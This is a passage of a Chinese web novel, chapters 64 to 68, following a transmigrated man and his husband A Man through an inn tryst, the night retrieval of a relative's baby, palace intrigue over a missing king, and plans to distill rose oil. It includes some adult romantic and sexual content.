阮锦又点了一点茶点,想尝尝货真价实的古代茶点味道如何。 阿蛮则没什么太大的反应,只要跟在阮锦身边,他便能安安心心的雕自己的木头。 这时茶点端了上来,阮锦尝了一口,觉得味道一般,倒是茶水还挺香的。 阮锦问阿蛮:“要不要喝点茶水?” 阿蛮放下手上的刻刀,点了点头,起身便要去端茶杯。 却被阮锦将茶杯端走,自己喝了一大口。 阿蛮不解,歪头看向阮锦,阮锦却是勾过阿蛮的脖子,踮脚贴上他的唇,把茶水渡进了阿蛮的口中。 喝到香甜的茶水后,阿蛮的眼睛都亮了,他用力吸着阮锦口中的茶水,一口便咽了下去。 唇分后阮锦俏皮的对他笑了笑,问道:“好喝吗?” 阿蛮点头,开口道:“还要。” 阮锦又倒了一杯茶,吻住了阿蛮的唇,阿蛮似是不知满足,不住的去吸吮阮锦的唇舌,搂住他的腰,吸着他舌尖的软肉,发出一阵阵滋滋的声音。 阮锦把茶杯放到桌子上,微喘着轻声道:“阿蛮,把窗户关上,好吗?” “嗯。”阿蛮淡淡应了一声,便听见吱呀两声,窗户就这样关上了。 阮锦微微错愕,却也没多说什么,只是牵着阿蛮的手来到了床边,低声轻笑道:“第一次在古代开房,那还不得好好体验一下。” 阿蛮不解,问道:“开房?如何体验?” 阮锦无奈了,可能阿蛮这个傻乎乎的古代人,get不到现代人的梗。 一般开房在他们那个时代,可是要做些私密马赛克的事情的。 阮锦没有过多的解释,只是勾着阿蛮的腰带,轻轻一扯,便将他的衣衫褪了下来。 他心想,古代的裤腰可真松,腰带一解,裤子便直接褪到小腿了。 这一行为把阿蛮吓了一跳,他赶紧捂住自己的亵裤,一脸紧张的说道:“阿锦不是说……白天不可以吗?” 阮锦抓住他的手道:“今天可以,阿蛮想试试吗?我们这间上房花了一天的银子,但我们只住到子时。如果不好好体验,总觉得亏了呢。” 阿蛮重重的点头,整个人都开朗了,他勾着唇角道:“好,好。” 一连说了两个好,他是有多么的跃跃欲试。 阮锦忍不住低低的笑了起来,其实阮锦之所以有些想勾引阿蛮,是因为这几天他的成熟期要来了。 哥儿成熟期的时候,会特别想要,每月都会有那么两三天。 不光会特别想要,胆子还会特别大,也会特别放得开。 阮锦将阿蛮几步拉到了身前,他坐于床前,阿蛮却站于床前,眼前的视角正是阿蛮劲瘦的腰腹,以前腰腹之下,那让人肖想的旖旎之处。 大人机已经跃跃欲试,阿蛮也垂首和阮锦接起了吻。 一个深吻过后,阮锦却撩开了阿蛮的衣襟,满目春色尽在眼前,阮锦上前,直接含住了阿蛮的手指。 阿蛮忍不住发出一声轻吭,他下意识按住阮锦的后脑勺,人也微微后仰,指端传来阮锦湿热的触感,酥麻瞬间传遍四肢百骸。 虽然阿蛮学了很多,九大夫给过他图册,他悉心研究了很久,知道这样可以让阿锦舒服。 可第一次体验的阿蛮,仿佛打开了新世界的大门,尤其是阮锦还坏心眼的啃咬他的虎口,简直让阿蛮难以自控。 第65章 阿蛮用力的按住阮锦的后脑,使得阮锦有那么几分被羞辱的耻感。 可这种耻感并不让他讨厌,相反的,更是让他体验到了某种禁忌的欢愉。 阿蛮却在头顶上一遍一遍的叫着他的名字,似是要将他的名字刻在骨子里一般。 沙哑的声音一遍一遍的传来:“阿锦……阿锦……我的阿锦,喜欢你。” 阮锦口中含着阿蛮的手指,指腹摩擦的着口腔上颚的软肉,使得阮锦只能发出一阵阵小猫一般的呜咽。 紧闭门窗的室内过分安静,使得小猫的呜咽声听上去磨得人耳膜发痒,心中更痒。 阿蛮的脑中此时已想不到任何,只想彻底拥有怀中这个柔软而温暖的人儿。 可他不能,他要忍耐,要徐徐图之,要尊守他的规则。 他说要带我体验开房的快乐,我便要根据他的规则慢慢来,不能破坏他的节奏。 可是阿蛮觉得自己要炸开了,此生此世,他从未体验过如此快意的人生。 窗外鸟雀振翅而过,烈日的热浪终于冲破云霄,阮锦似是被汤到一般缩了回去。 心想阿蛮好难弄,累累的。 阿蛮的眼角微红,似是有泪意涌出,却焦急的去捏阮锦的两腮:“快,吐……吐掉!” 阮锦俏皮的朝他吐了吐舌头,笑嘻嘻道:“没了。” 阿蛮的头皮轰然炸开,扣住阮锦的后脑,吻住了他的嘴唇。 淡淡的腥味自他口腔中传来,阿蛮似是强迫症一般,要把他口腔中那淡淡的腥味舔食干净。 阮锦也看出了他的紧张与不安,甚至还感受到了他身体微微的颤抖。 这不对,这很不对,阮锦强迫着与他分开唇舌,眼睛微湿的看向他道:“阿蛮,你看着我阿蛮,你和我说你怎么了?是不是哪里不舒服?” 阿蛮摇着头,仍然要去舔食他唇角残留的一点腥味,低低的说了一声:“我……我不能……不能弄脏你。” 阮锦捧着他的脸颊摇头道:“没有阿蛮,你是很干净的,你不脏,不可以这样说自己。” 但不知道为什么,阿蛮的头开始疼了起来,他捂着头嘴里念念有词:“我……见惯了这世间……所有的险恶,从尸山血海里……爬出来。全身沾满了……污秽与蛆虫,洗不净也……磨不灭!而你,是这世间……最干净的雪莲。我……我不能……弄脏你!” 看着阿蛮快要碎掉的模样,阮锦心疼哭了,他流着眼泪道:“阿蛮,我不许你这么说自己。你知道你有多好吗?如果不是你,我不会在初来乍到时就找到内心的依靠。如果不是你,我也不会轻易的逃离之前的漩涡。是你一次又一次的救了我,也是你带我体验了这世间最纯粹的喜欢。阿蛮,我喜欢你,你一点都不脏。脏的是这世间的险恶,不是你!” “真……真的吗?”阿蛮的眼睛赤红,心脏几乎要跳出来了,他摇头道:“我没有你想的……那么好。” 阮锦问道:“你是不是想起来什么了?阿蛮,你可以告诉我,你永远都可以信任我。我喜欢你,我是你的爱人,我们是夫夫,我们是一体的啊!” 阿蛮却仍是摇着头:“我不知道……我不知道,我只知道……我要让这世界……和我一起毁灭!我要杀光他们!我要让他们死无葬身之地!我要让这世间流血飘杵,我要让所有的险恶和我一起消失!” 听着阿蛮说这些没头没尾的话,阮锦猜测应是他从前受到过伤害,阿蛮这么厉害,会是什么样的人伤害过他? 阮锦第一次觉得自己好无力,他什么都做不了,只好用力抱紧他,在他耳边说道:“阿蛮别怕,不会有人再伤害你了。你在我身边,我来保护你好不好?只要你在我身边,我都会尽我自己的一切努力去保护你。我会赚很多很多的钱,多到有足够的能力为你筑起一座安全的城墙。所以阿蛮你别怕,也不要消失。你还有我,你舍得离开我,自己一个人消失吗?” 听着阮锦近在耳边的安抚话语,阿蛮身体的颤抖终于没那么严重了,他有些脆弱的看向阮锦,问道:“还……还有你?” 阮锦重重的对他点了点头:“是的,还有我啊!那些坏人消失不消失无所谓,但我的阿蛮不能消失。你要为我保重好自己的身体,我们要一起到天荒地老,海枯石烂,永远都不要分开,好不好?” 阮锦承认,这个时候他说的话有些过于琼瑶阿姨了,可他就是想对阿蛮说这些,他要让阿蛮知道,自己真的非常非常喜欢他。 也如他所愿,阿蛮的情绪终于稳定了下来,看着他的眼睛道:“我们……永远都不分开?” 阮锦嗯嗯两声,搂着阿蛮的脖子:“不光永远不分开,还要一起生儿育女,我们生一个像我一样的哥儿,像你一样的儿子,如果可以,还要生一个小女儿。你是他们的父亲,我是他们的爹爹,我们一家人快快乐乐的生活在一起。再也不去想那些坏人,也再也不理会那些恶念,只过我们自己的小日子,好吗?” 阿蛮的唇角终于勾了起来,他轻轻点了点头,应道:“好,我要……和阿锦快快乐乐的生活在一起。” 脑子里那些恶念,也仿佛毒虫一般,被蛰伏在了阿蛮的内心深处。 见他笑了,阮锦也终于松了一口气,他也对阿蛮笑了笑,说道:“那,我们现在可以继续了吗?阿蛮,我想和你接吻,想让你一次又一次的拥有我。” 阿蛮没有说话,只是吻住了阮锦的唇,这个吻十分温柔,仿佛阮锦是这世间最最值得珍视的宝物一般。 房间里的氛围也由刚刚浓稠的羹汤,转为清甜的甘露和仙果,让人迫不及待的想去品尝。 一开始只是浅尝辄止,后面便是淋漓尽致的大快朵颐。 阿蛮低低的嗓音不断的在阮锦耳边说:“阿锦,你是我的宝贝,喜欢你。” 阮锦小声的应着,发出一阵阵的低吟,还会搂着他的脖子,一声一声的叫着:“老公,爱你,想要你。” 云层低时见雨,子时前一阵微风吹过,吹开了房间的门,吹动了天字一号房的床纱,也将淡淡的雨腥气送进了房间里。 窗外星子点点,月明皎皎,阮锦扶着腰坐起身,无奈道:“老公,你下次节制一点点,一点点就好。” 阿蛮为阮锦轻轻揉着腰,低低笑道:“对不起阿锦,但是我对你永远节制不了。” 阮锦明白,阿蛮因为一些经历而有这方面的瘾症,但也没关系,他恰好也喜欢和他在床上耳鬓厮磨。 阮锦起身穿上衣服,看了看窗外的月色道:“差不多子时了,我们该出发了。” 阿蛮应了一声,也穿好衣服,两人一起下了楼。 下楼时,店小二和老板看向他们的眼神里均是不可思议的异样,虽然退房时他们仍是十分热情,一副若无其事的模样。 但他们一转身,店小二便小声对老板道:“定是哪家的夫郎出来偷腥,瞧瞧那儿郎,长得可真俊。一进房间便是四个时辰,连门都没出呢。” 老板瞪了店小二一眼:“别乱说话,你管人家偷腥不偷腥,给了房钱便好。” 小二笑了起来:“不是老板,我是觉得他们还挺配。难不成是父母棒打鸳鸯,不让他们在一起,这才出来偷腥的?” 老板也笑了,说道:“万一人家是两口子呢?” 店小二嗨了一声:“这老板您就说笑了,哪有两口子黄昏投宿,子时出门的?” 阮锦轻手轻脚在门口听了一会儿,扑哧一声笑了出来,故意大声喊道:“夫君,下次我们换一家店可好?” 阿蛮十分上道的应道:“好,只要你喜欢,去哪家店都好。” 店内老板和店小二面面相觑,片刻后老板给了店小二一爆栗,骂道:“让你再多事,你看,人家真是两口子!” 阮锦拉着阿蛮一边笑一边往外跑,跑到路边的马棚牵了马,一起骑上马朝巷子里飞奔而去。 黑夜里,阮锦的笑声压得很低,一边笑一边道:“阿蛮,那两个人肯定被我们吓坏了。” 阿蛮双臂环着他,下巴抵在他的肩窝,在他侧颊亲了亲,迎着雨后初晴的月色,唇角止不住的高高扬了起来。 两人来到了梁同所在的巷子,阿蛮道:“在这里等我,我很快就回来。” 阮锦应了一声,下一秒,阿蛮便飞身而起,消失在屋檐上。 第次看到阿蛮施展轻功,阮锦都忍不住捂脸捧心,主要是阿蛮飞起来的身影实在太帅了,比任何古偶里的男主都要帅。 他本以为要等一会儿的,谁料不过几分钟的时间,阿蛮便抱着一个熟睡的婴儿飞了回来。 阮锦从阿蛮的怀里接过婴儿,小家伙倒是睡得沉,显然并不知道自己被偷了。 两人不敢逗留,把孩子抱好后便骑着马朝着桃花县的方向疾奔而去。 回到桃花县的城门口,远远的阮锦便看到尉迟融和阮渟在城门前等他,见他们二人回来了,两人当即松了口气。 尉迟融策马上前,说道:“你们终于回来了,还好我从赵县令那里拿了城门令,否则你们今天晚上就睡野外吧!” 阮锦十分感激的说道:“谢谢乖徒儿,靠谱!” 阮渟看着阮锦怀里的婴儿,惊讶道:“这……这是阿姐的孩子吗?锦哥哥,你竟然真的把他带回来了?” 阮锦嗯了一声,说道:“别在这儿聊了,孩子应该快醒了,先把他带回去交给阮钗。” 第66章 第二天清晨,梁同家,一屋子的丫鬟婆子被吵醒,是李进父母的尖叫声。 李母的嗓门儿几乎要掀翻了屋顶,她大声嚷嚷着:“令儿呢?我的令儿哪儿去了?老头子你别睡了,令儿去哪儿了?” 李父也醒来,看到空空如也的小床,当即急了:“快,快去叫进儿,是不是他把令儿抱走了?” “哎呀!”李母一跺脚,气的骂道:“你忘了,进儿昨夜当值,并没有回来。” 李父又道:“那会不会是让梁同抱走了?快去问问他。” 两人慌里慌张来到了梁同的院子,梁同正躺在秋千床上晒清早的太阳,旁边侍立了一个婆子,正把一早去买回来的早点给他吃。 一听到两人的动静,他便有些不悦的说道:“您二位这一大早的过来,是有什么着急的事情吗?” 李父打量着梁同的院子,问道:“梁同啊!那个……令儿在你这儿吗?” 梁同冷哼一声,说道:“怎么?你们带一个继子给我还不够,还想让我给你们养孙子吗?” 这时李进回来了,他一进门就听下人说了这件事,当即赶了过来。 但看到梁同的冷脸,却也没敢多问,只是上前扶起他道:“别动气,你这是双身子的人,可别动了胎气。” 梁同冷笑,说道:“李进,我本不欲说什么的。我家大业大,倒也不是养不起一个继子。只是,我倒也没有替别人养孩子的兴趣。你父母丢了孙子,就找我来兴师问罪,我倒是想找你说道说道了,我跟我有什么关系?如果你实在舍不得你与前妻的孩子,倒也不必继续待在我这里了!你当我梁同是什么人?养你一大家子还不够,还要养个小白眼儿狼,为他人做嫁衣裳吗?” 李母当即有些生气,却又碍于梁同的财力不敢发作,开口道:“这……令儿他说什么也是我们李家的孩子,总……总不能便宜了别人去吧?” 梁同挺了挺孕肚,说道:“哦,那是你李家的孩子,这便不是了?” 李进当即安抚道:“是是是,怎么能不是呢?阿同,你才是我心尖尖上的人,何必与那妒妇一般见识?” 梁同道:“你嘴里一口一个妒妇,却把那妒妇的孩子当成个宝,还把他抱来我跟前恶心我。我今日便把话撂这儿,若是你们真想要那个孙子,那便不要来我跟前碍我的眼了。也省得我日日心烦!” 见梁同的态度如此决绝,李进想了想,上前对父母道:“爹娘,那孩子十有八九是被阮钗那贱人抱回去了。我看,您二位也不用找了。我与梁同夫郎恩爱,以后有的是机会多生几个孩子出来。既然那女人想要令儿,便给了她好了。” 李母还要说些什么,吞吞吐吐道:“可……可是……” 可是这哥儿生出来的,十有八九也是哥儿啊! 李进却朝李母使了个眼色,李母便闭了嘴,不再说什么。 而此时的阮钗已经抱了孩子,收拾了行囊,准备离开桃花县了。 阮锦问她:“你可有去处?” 阮钗点头:“有,去投奔我远嫁的姨母,姨母膝下无儿女,也多次来信让我们多来往。如今我被休,刚好去投奔她。” 阮锦点头,倒也是个去处,又问:“可有盘缠?” 阮钗又点头:“嫁妆讨回来了,足够我一些时日的花用。” 阮锦道:“也好,阮渟刚好要北上,让他送你一段。” 一旁的阮渟当即道:“锦哥哥放心,我会把阿姐安全送去姨母那里。” 阮锦应了一声,不欲再多说什么,便挥手让他们离开了。 谁料他刚要转身离开,阮钗又是扑通一声跪了下来,阮锦一脸无语,心想反正我现在已经被跪多了,麻木了,你们想跪便跪吧! 阮钗声泪俱下:“今次若非是你,我和令儿不是生离,便是死别。我们一家从前对不住你,你却能以怨报德。此生我欠你一条命,如有机会,我会以死报还。” 阮锦的唇角抽了抽,说道:“那倒也不必,好好过日子比什么都强。只是不要再回桃花县了,李进怕是不会放过你。” 阮钗起身,嗯了一声后,转身上了马车。 阮渟则与他挥手,护送着阮钗的马车向北行去。 待到他们走完了,阮锦才转身看向阿蛮,笑着问他:“阿蛮,你觉得我算是以德报怨吗?” 阿蛮的眼神里有几分迷茫,他摇头道:“我……不懂,不过我知道,阿锦是这世界上最善良的人。” 阮锦笑着看向阿蛮,突然就很想去亲他。 他觉得自己现在没救了,可能人在爱上另一个人的时候,真的会随时随地被他吸引。 其实阿蛮也有这种感觉,他也随时都想亲阮锦,可是阮锦对他说过,在外面的时候是不可以的,也只能忍着了。 两人同乘一匹马回到了蛮锦阁,阿二正在门外迎来送往,十分热情的迎接着每一名客人。 阮锦算是发现了,阿二虽然不够聪明,也不够机灵,却是个非常踏实忠厚的形象,非常容易给人带来亲和力,所以十分适合当店小二。 他一见阮锦和阿回来了,当即笑着朝他们招手:“少爷,姑爷,你们回来了?” 阿蛮抱着阮锦下马,也朝阿二招了招手,问道:“现在忙不忙?” 阿二应道:“还好还好,早晨大家都去蛮锦食记那边吃早餐了,一般中午和晚上这边人会比较多。” 阮锦和阿蛮走进了蛮锦阁,先是看了一眼前厅的情况,又去后厨看了一眼三儿。 还没进后厨,就听到三儿正在骂尉迟融:“你看看你,平常让你好好练刀工你不好好练,切个土豆丝切成这样!让我说你什么好?这是土豆丝还是椽子?都快跟房梁差不多粗细了吧?” 尉迟融垂着头站在那里小声逼逼:“那还不至于……” 三儿气道:“你还犟嘴!师父说了,刀工是厨师最重要的基本功,从今天起,你一天切十斤土豆!切粗了去给小吃街炸薯条,直到切成功为止!” 尉迟融小声的应着:“好的师妹……” 阮锦一边笑一边走进了后厨,说道:“三儿厉害啊!教训起师兄来啦?” 三儿一跺脚,气道:“师父你看他,切的这叫什么?本来他不进后厨也就算了,切不好还来添乱。既然想帮忙,就得好好学,不然岂不是丢了师父的脸面?” 阮锦点头:“嗯嗯,那还真是,鱼翅啊,你师妹说的有道理。” 尉迟融连连应是:“我知道,我知道,我这不是正准备去练呢吗?争取能炒一盘好吃的醋溜土豆丝出来!嘿嘿,这可是师妹最喜欢吃的菜了。” 三儿皱了皱眉:“你也别只练这一道菜啊!咱们厨子,可是要什么菜都能炒的。顺便也练一练红烧茄子,最近这道菜的点单率也还挺高的。” 尉迟融一迭声儿的说好,抱着两个茄子就去练切块儿了。 阮锦轻笑,心想三儿平常看上去温温柔柔的,真较起真儿来还真不是一般人能招架得了的。 厨房门外,四名侍从傀儡排排站,等着厨房里出餐。 他打了个哈欠,对三儿说道:“三儿,这边就靠你了,为师昨晚一晚没怎么睡,先回去睡一觉。” 三儿知道,他为了阮钗的事忙活了一晚上,应道:“师父您去吧!早晨阿大会在蛮锦食记那边,吃午和晚上他就过来了。有我们在,您安心。蛮锦食记那边您也不用操心,已经招到了好几个有意向租赁摊子的。四儿一直在那儿守着,还有仙儿和阿丙呢,他们现在也会帮忙看着。” 仙儿和阿丙是老员工了,人品也是经过考查的。 当然,水至清则无鱼,阮锦不会较真到事事都和他们计较,这样就没意思了。 也正是有了阮锦的大度,跟着他的人也会跟着无私起来,人都是相互的。 阮锦和阿蛮回去补觉,蛮锦的所有员工们维持着正常的运转。 这几天阮锦除了去蛮锦阁和蛮锦食记转一转,偶尔推出一点新品外,倒也没有再急于扩张自己的生意。 摊子铺太大,有时候容易顾不过来,阮锦觉得是时候巩固一下基础了。 而且奇货巷也在建设中,工场那边也正在大量的囤货中。 尤其是芸薹籽,不到半个月的时间,就采收了足足几万斤的芸薹籽。 收得差不多了,阮锦便让他们开始榨油,便宜又好吃的菜籽油,将来必定会成为千家万户炒菜的必备食材。 相较于桃花县这边的悠闲生活,王宫里却是一片风声鹤唳。 端阳公主站于王座之前,皱眉看向长兴侯,问道:“侯爷是对王上的决定有什么不满吗?王上御驾亲征尚未归来,侯爷这个时候提出质疑,是觉得我们大渊的江山过于稳固,想让大渊内外出点乱子不成吗?” 长兴侯看上去四十多岁,是渊王夜昙的亲叔叔,他先是笑了笑,又朝端阳公主行了个礼道:“公主殿下这话说的,咱们大渊的事,于我来说又何尝不是家事?我是王上的亲王叔,更有次国封号。我所思所想,皆是为了渊国着想。王上这一个多月以来只坐明堂从不说话,都是公主代为转达。这便让我这个做王叔的不免生疑了,难不成公主殿下胁迫了王上,让王上不得不听令于你?” “放肆!”端阳公主大声呵斥道:“长兴侯,你逾越了。我尊你一声王叔,可你如此揣度于我,是何居心啊?我乃王上亲封的监国公主,若是王叔真的对我有什么意见,那还是等王上亲征回来再说吧!” 第67章 长兴侯虽然没再说什么,脸上的表情却十分不好看,收到东南郡那边的飞鸽传书后,长兴侯便派人私底下去跑了一趟桃花县调查。 他发现,蒙铎此次出京并不是为了捉拿什么要犯,而是在找人。 所要找的人,是一个前额上有明显胎记的人,一日之内抓了十几名前额上有胎记的男性。 众所周知,王上常年以黑色抹额覆额,是为了遮挡什么? 就算是戴着王冠,也会将前额遮住,应是他前额生了什么见不得人的东西。 自从他从幽国回来后,额头就从来没露出来过,这个时候大张旗鼓的去找人,恐怕人早就不在王宫里了! 长兴侯呵呵笑了笑,说道:“公主殿下急什么?我这也是为了王上着想,如果王上真的出了什么意外,我等身为他的亲人,怎么可以坐视不理?公主殿下还是年轻,处理起事情来也不知道轻重缓急,这于咱们大渊是有害而无一利的。” 端阳公主声线沉冷道:“王叔若是有任何怀疑,都可以等王上归来后亲自问他。若是王叔等不及了,还可以亲自去北疆求证,何必在这里质疑我?既然王上命我主理政事,我便是责无旁贷的。王叔若真有意见,就请让王上撤了我这个监国公主好了!” 说完她一挥手,大太监便尖细着声音喊了一声:“退!” 众大臣鱼惯而出,走出大殿后,相邦小声对长兴侯道:“侯爷方才那些话,是得到什么消息了吗?” 长兴侯背着双手,表情里尽是官场的油滑:“倒是听到些捕风捉影的事,相邦大人是也听说什么了吗?” 相邦微微叹了一口气,应道:“不瞒侯爷,我倒是也听说了。只是这件事,不知真假。我也劝侯爷,不要随意试探。若是惹怒了王上,吃亏的还是咱们这些做臣子的。” 长兴侯顿住脚步,歪头看向相邦,问道:“哦?不知道相邦大人说的是哪件事情啊?莫不是……端阳公主豢养男宠,中饱私囊,结党营私这件事?” 相邦微怔,片刻后说道:“侯爷以为我是在说哪件事?” 一时间,两人之间安静了起来,但也只是几秒钟的时间,几秒钟后互演的两只老狐狸笑了起来。 一边笑一边齐齐的走出了王宫,一个向左,一个向右,走远后一拂袖,同时发出了一声冷哼。 王宫里,端阳公主仍是忧心忡忡,在她的携售宫里来回走了好几趟,终于有宫女来报:“公主殿下,关内侯来了。” 端阳公主赶紧道:“快,让他进来。” 端阳公主的话音刚落,一名看上去约三十多岁的锦衣青年男性便走了进来,他刚要朝端阳公主行礼,便听公主说道:“关内侯不必多礼,快说说那边的情况吧!” 关内侯摇了摇头:“可能不太好,线报说幽国那边派了九十九名死士对王上围追堵劫,是下了必死的格杀令。如今我已经找到了七十三名死士的尸首,还有二十六名下落不明。但是很奇怪,王上的气息却仿佛消失了一般,连傀儡令都搜寻不到。” 端阳公主皱眉:“怎么会这样?会不会是阿弟他……” “不会。”关内侯当即否定道:“如果王上出了事,那和他相关的所有傀儡都会散成一片废柴。但王上的傀儡都好好的,而且还在按照他的指令正常运行,说明王上很健康的活着。只是不知道为什么,属于他的气息却收敛了起来。” 端阳公主急切的问道:“那这是为什么呢?能查到原因吗?” 关内侯嗯了一声:“一般情况下有两个原因,一个是被高阶傀儡师的气息压制住了。但在王上这里,基本上不可能,这世上不可能有比他等级还高的傀儡师。还有一个可能性就是……王上因为不明原因掉了等级,可能受了伤,也可能是受到了什么影响……” 一听到渊王有可能受伤,端阳公主的眉心又紧紧皱了起来:“阿弟在外面危机四伏,如果真的受伤,那后果怕是不堪设想。” 关内侯想了想,说道:“其实,公主殿下,这是一件好事。” 端阳公主不解的问道:“怎么说?” 关内侯答:“我们找不到,幽国的那些死士也找不到。除非王上的实力恢复,否则傀儡令永远都是一块废铁。” 听到这里,端阳公主总算松了口气,可她仍然放不下心来,说道:“可阿弟一天不回王宫,我这心里便难安。你知道的,阿弟他的身体……” 关内侯和端阳公主是知道渊王病情为数不多的人之二,提到这件事,关内侯的表情也十分阴沉。 他叹息道:“若是王上肯找人纾解,那也不是不行,可他……” 端阳公主也是摇头:“外面的人都说我阿弟残暴无情,嗜杀成性,只有真正了解他的人才知道,他宁愿自己万死,也不会伤害无辜的人分毫。而他所杀的那些人,也都是该死之人。” 关内侯知道,端阳公主和渊王姐弟情深,也知道渊王并非外面所盛传的那样。 比如他杀掉的那些大臣,无一不是奸臣,而能和奸臣同流合污的,又能有几个是干净的? 毕竟雪崩的时候,没有一片雪花无辜。 关内侯道:“我已经让我的外甥尉迟融暂时留在东南郡的桃花县,一旦发现王上相关的行踪,会及时给我飞鸽传书的。” 端阳公主刚要问些什么,关内侯便道:“我也只是让他配合蒙铎的搜索,并未将王上的身份透露出去。公主殿下放心,我做事还是有分寸的。” 端阳公主点了点头,又道:“辛苦你了,这一个多月你一直在外面跑……” 关内侯打断了端阳公主的话:“公主别这么说,当年若非公主和王上,我怕是也要死在幽国了。能为公主和王上效力,是冲必生之幸。只是……公主,我并不建议蒙锋将军继续留在东南郡了。” 端阳公主不解的问道:“为何?” 关内侯道:“眼下不知道是谁走漏了风声,怕是长兴侯已经得到了消息。之前因为盛兴隆的事,长兴侯一直怀恨在心。我怕我们继续搜寻,会引起长兴侯的怀疑。不如静等王上归来,只要王宫里有王上的傀儡,相信王上就是安全的。” “可是……”端阳公主眉目微敛:“如果阿弟一直不回来怎么办?我们最多只能撑上三个月,这三个月也不知道会有什么乱子呢。” 关内侯道:“最多三天,王上的替身傀儡就该回来了。只要傀儡在宫中坐阵,便不会有人敢质疑什么。哪怕长兴侯有所怀疑,他也没办法近得替身王上的身。而且我们不是不找,而是化明为暗。让蒙将军找个逃犯押解回渊都,换陛下的黑羽卫私下去查。黑羽卫是陛下亲卫,他们出手,长兴侯也只会觉得那是陛下派他们外出办事,不会怀疑到陛下失踪这件事上。” 端阳公主也知道,惊动了长兴侯,他必定会拿这件事大作文章。 也只得点头应道:“好吧!眼下,也只能如此了。” 桃花县,雨淅淅沥沥的下了两天,这两天的集市人也少了些,虽然阮锦摊子上的生意依旧很热闹,比之前几天确实是客流量少了些。 阮锦乐得这两天轻闲,便又有了鼓捣新东西的想法。 之前阿蛮一直说他身上香香的,阮锦便在周边的花农手上买来一些鲜花。 桃花县的周边有不少庄子,据说这边的花卉盆景都是供给渊都的贵人们欣赏的。 四儿亲自去了一趟庄园,回来给阮锦带了十几种花卉,其中有一种阮锦十分眼熟,当即问道:“四儿,这花叫什么?” 四儿一脸开心的应道:“少爷,这叫突厥蔷薇!怎么样?漂亮吧?这颜色是整个庄子里最艳丽的红色,我一眼就看上了,就知道少爷一定会喜欢。” 阮锦笑了起来,说道:“什么突厥蔷薇啊!这明明是红玫瑰呀!” 想不到远在两千多年前的古代,就已经有人开始种植玫瑰了,听名字应该是从突厥那边引进过来的。 四儿疑惑道:“玫瑰?这个名字挺好听的呀!它不是蔷薇吗?” 阮锦随手拿过一朵,在鼻端嗅了嗅,十分浓郁的玫瑰花香味,点头应道:“是玫瑰,不是月季,不是蔷薇,就是玫瑰。” 提起玫瑰,阮锦就想到了那首老歌,小时候妈妈最喜欢唱的那首老歌,他忍不住也哼唱了起来:“我早已为你种下,九百九十九朵玫瑰……” 刚唱了一句,阮锦便是狡黠一笑,他起身开始在四儿带来的一大捆玫瑰里挑挑捡捡,一边挑一边吩咐四儿:“四儿,帮我找一个大花瓶来,我要养一束玫瑰!” 四儿答应着,找了把伞便出去找花瓶了。 阮锦则挑了九十九朵大大的半开玫瑰花,用剪刀仔细的把枝叶修剪掉,又找了几张土黄色的油纸和几根麻绳,把那九十九朵玫瑰扎成了一大束。 扎完后冲着在院子里凉棚内雕着木头的阿蛮喊道:“阿蛮,来呀!送你个好东西。” 丝丝细雨还在下,阿蛮抬头的瞬间,看到阮锦正抱着大大一束热烈的红玫瑰朝他招手,那张脸被玫瑰花映衬得红彤彤的,简直人比花更娇艳。 阿蛮怔了怔,随即牵起唇角,起身迎着雨丝走到了他跟前,问道:“阿锦要给我看……什么?” 阮锦示意他看自己的手上,对他唱道:“往事如风,痴心只是难懂。借酒相送,送不走身影蒙蒙。” 第68章 阿蛮虽然不是很能听懂阮锦在唱些什么,但他觉得很好听,尤其是怀里抱着鲜花的阿锦,简直漂亮极了。 阿蛮勾起唇角,问道:“九百九十九朵玫瑰?” 阮锦笑眼弯弯,一双漂亮的含情桃花眼里满是柔情,他应道:“对呀!九百九十九表示长长久久的意思,我手上是九十九朵,咱们两个也要长长久久的在一起。” 听了阮锦的话,阿蛮的眼中也露出了几分向往,他轻轻点头道:“嗯嗯,我们要长长久久的在一起。” 阮锦把那束玫瑰花送给了阿蛮,说道:“呐,这是夫郎我送给你的花,阿蛮喜欢吗?” 阿蛮乖乖点头,眼中也满是恋慕:“喜欢,阿锦送的东西……我都喜欢。” 还有阿锦唱的歌,也非常好听。 阿锦一这下是天上来的神仙吧? 否则为什么他什么都会,还会唱那么好听的歌,还能说那么浪漫的情话。 想到这里,阿蛮又搂住了阮锦的腰,叭唧在他嘴唇上亲了一口。 阮锦则顺热搂住了他的脖子,两人唇瓣相贴,舌尖相抵,又是一阵热吻。 这时,刚好出去找花瓶的四儿回来了,他一把捂住眼睛,心想撞到现场不会长针眼吧? 啊啊啊,我还是悄悄把花瓶放下躲一躲吧! 于是阮锦和阿蛮亲完的时候,便看到门口放了一只瓷瓶,却不见了四儿的身影。 阮锦忍不住笑出了声,心想这孩子,还害羞了,不过他们确实该收敛一点,只是刚刚唱歌唱的,一时间忘形了。 阮锦去拿了花瓶,四儿还贴心洗干净装好了水。 两人合作把那束玫瑰花插进了花瓶里,阮锦又把花产七放到院子里,让雨丝淋到玫瑰花上,让这束玫瑰花更有了几分沾染上露珠的娇美。 放好花瓶后,阿蛮又问道:“阿锦买那么多花……做什么?” 阮锦闻言,起身又拿了自己的手稿过来,说道:“你看,这是我刚画的。” 只见阮锦图纸上画着一个双层大锅,也不知道是做什么用的。 阿蛮指了指那个大锅道:“鼎?” 阮锦想起来了,古人管这种高层的锅叫鼎,阮锦点了点头应道:“是,铜鼎,下面放银丝碳,里面放玫瑰花瓣,上面盖一个带斜管的盖子。这样下面煮玫瑰花,上面就可以接出花露。我想做点花露和精油,给我们用……” 阿蛮一开始不是很懂,不明白为什么要做花露和精油用,片刻后他仿佛突然想明白了,看着阿蛮一脸期待的说道:“好!那……我去铜铺,这就让他们去铸造!” 阮锦:??? 等等,阿蛮,你想到哪里去了? 他是真的只是想做点精油花露的自己用而已,不过精油这种东西,确实能在他们某些时候用上。 阮锦的脸一下子红了,心想阿蛮想的也没错,自己做一些,也省得九大夫再想办法给他们调制香膏了。 虽然哥儿自身可以分泌□□,但用上些香膏精油的,更能增添房中趣味。 阮锦轻笑,看着匆忙抱着图纸离开的阿蛮,只觉得这个家伙也就在这个时候做事最积极了。 阮锦则想把这些玫瑰花的花瓣整理一下,暂时做不了玫瑰精油,他打算先腌制一些玫瑰花酱。 回头便看到四儿在那里探头探脑,有些无奈的朝他招了招手道:“怎么了?刚刚怎么还躲起来了?” 四儿有些不好意思的笑了笑,问道:“少爷,你和姑爷感情这么好,怎么也不见你怀孕啊?你们在一起也快两个月了,我都想抱小少爷了。” 阮锦微怔,也觉得有点奇怪,他夜夜和阿蛮在一起,按道理来说,怀孕的概率应该挺大的。 